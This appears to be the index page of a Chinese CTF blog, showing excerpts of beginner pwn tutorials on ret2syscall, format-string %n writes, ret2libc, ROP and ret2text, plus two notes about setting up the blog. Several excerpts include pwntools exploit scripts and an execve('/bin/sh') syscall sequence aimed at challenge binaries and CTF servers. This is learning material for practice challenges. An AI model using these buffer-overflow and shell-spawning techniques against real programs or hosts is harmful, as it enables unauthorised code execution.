初识ret2syscall
系统调用操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间 在电脑中,系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务 我们要知道,系统调用和库函数调用是两回事,系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。 应用程序调用系统调用的过程是: 1.把系统调用的编号存入EAX2.把函数参数存入其它通用寄存器3.触发 0x80 号中断(int 0x80) 在这里我以32位系统为例,一个经典的系统调用如下 123456mov eax,0xbmov ebx,["/bin/sh"]mov ecx,0mov edx,0int 0x80 查找对应的函数调用表,我们知道0xb对应的是execve指令,然后将bin/sh字符串写入寄存器ebx中,剩下几个寄存器为空。当我们触发int 0x80软中断后,CPU会切换到内核态,会先从eax读到函数调用号0xb,然后读到参数bin/sh字符串,这一顿操作下来...
初识格式化字符串(下)
在上一篇文章中,我们了解了如何利用格式化字符串漏洞实现任意读,主要靠%d,%s等格式化占位符泄露内存。接下来介绍一下如何实现任意写,即覆盖内存 开挂的%n%n是一个很牛的格式化占位符,和%d,%s等占位符不一样,它不输出字符,而是把已经成功输出的字符个数写入对应的整型指针参数所指的变量 换句话说,它会将已打印的字符个数输出至格式化参数对应的地址中 printf(“包含%n的格式字符串”, …, &变量名); 比较特殊的是,%n对应的参数必须是一个指向整数的指针 12345678910#include <stdio.h>int main() { int count; printf("Hello, world!%n\n", &count); printf("上面那行输出了 %d 个字符。\n", count); return 0;} 输出结果是:Hello, world!上面那行输出了 13 个字符。 也就是说%n统计了前面字符串的字符数,并且让count=...
初识格式化字符串(上)
深入理解格式化字符串要想理解格式化字符串的原理,我们必须要知道的一个问题是,printf调用时,它的第一个参数是什么,比如printf("%d %f\n", x, y);,它的一参是x吗? 让我们来看看printf的声明,int printf(const char *format, ...),没错,printf的一参是”%d %f\n”,即格式化字符串,这一点是很多同学都没有意识到的 我们必须要深刻理解的第二个问题是,什么是格式化字符串 格式化字符串是一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数,它通过用于把随后对应的0个或多个函数参数转换为相应的格式输出;格式化字符串中转换说明以外的其它字符原样输出。我补充一点,这里的转换说明即格式化占位符。 (ps:不要因为长就不读了,反而要读得更仔细,通过学习pwn我认识到,越涉及到一个概念的本质,描述的文字就会越详细) 通俗的说,它就是包含格式化占位符的字符串 格式化字符串的工作原理我们平时使用printf时,格式化占位符是必须和后面的参数一一对应的,有多少个格式化占位符,就必...
写源代码一定要crtl+s保存啊啊啊啊啊
今天想在css里加点东西,但是每次都是原来的样子,搞了一晚上都不行,一直是原来的样子,发现是自己改完后没有保存 看一下左下角的时间,如果是now那就证明保存了 另外,如果hexo d上传失败,可以按f12在网页里改一下,重新hexo d一下就可以了,实在不行,多等一小儿就可以了 最后,感谢我磊哥再一次救我
梦开始的地方
我的博客搭建终于好了! 从今天起,我会在我的博客上分享我的wp,以及一些CTF的日常,希望和大家一起多多交流!
初识32位下的ret2libc
从ret2libc开始,我们将不再局限于像ret2text那样的栈溢出了,而是要开始接触另一个技术————ROP技术。什么是ROP技术我此前详细写了博客,在此不再赘述。 ret2libc就是拿程序里已有的函数库做文章,可以ret到的plt表,或或者ret到函数实际放置的got表处 egctfshow pwn入门39&41这两个题思路是一样的,区别是39有bin/sh,41有sh 首先这个题是存在明显栈溢出的,而system和sh是有但是不在一起的 12345678910111213141516171819from pwn import *context.terminal = ['tmux', 'splitw', '-h']#io = remote('pwn.challenge.ctf.show',28119)io = process("./pwn43")gdb.attach(io,'''break *0x08048420 ...
初识ROP和ret2shellcode
如果遇到NX保护,即栈堆不可执行的情况,我们shellcode将不能作为机器码被执行,那么我们就需要新的方法————ROP技术。 何为ROP?ROP的全称为返回导向编程。听名字十分牛的样子。ROP的核心在返回,即ret上。ret等价于pop EIP/RIP,call所调用的函数结束后,ret会把返回地址弹出栈,程序会跳到ret指向的地址。 出自《深入理解计算机系统(CSAPP)》第三章,要注意的一个问题是,国内外的计算机教材对于栈的画法是相反的,国外的教材更倾向于把栈倒过来画,即栈顶sp在下,栈底bp在上,栈向下增长(向下画)。不过并不影响实际的理解。 接下来我们需要知道什么是gadget。gadget在英语里的翻译是小玩意,小装置的意思,在二进制领域,gadget就是一小段程序里已经有的,通常以ret结尾的汇编代码,注意这里的关键词,“一小段”,“已有的”,“以ret结尾的”,重点是后两个词,这就意味着我们可以通过一段又一段的gadget不断ret到程序内的不同地方。就算开了NX不让我们执行shellcode,但是程序里已经有的指令总不能不让我们执行吧,这就是gad...
用gdb的动态视角看ret2text的实现
来看一道非常简单的栈溢出 后门函数地址ida里很明显,0x8048521 exp本身不难写,下面看一下怎么用gdb确定偏移 1234567from pwn import*io=process("./pwn")#io=remote("pwn.challenge.ctf.show",28175);gdb.attach(io,"b main") #在main函数下断点payload=b"A"*(0x12+0x4)+p32(0x8048521)io.sendline(payload)io.interactive() 0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp) 用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量 我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址
ret2text小tips
exp模板 12345678910from pwn import *io = remote("39.106.48.123", 29826)payload = b"A"*264 + p64(0x401202)io.sendline(payload)io.interactive() 264即258+8,258是rbp的位置,ida里一般是16位,0x401202为后门函数入栈的地址 注意:1.一定不要忘记加4/8个字节覆盖栈底寄存器 2.在64位程序中,如果不成功,可能是栈没有对齐,需要把后门函数的地址往后加两个单位












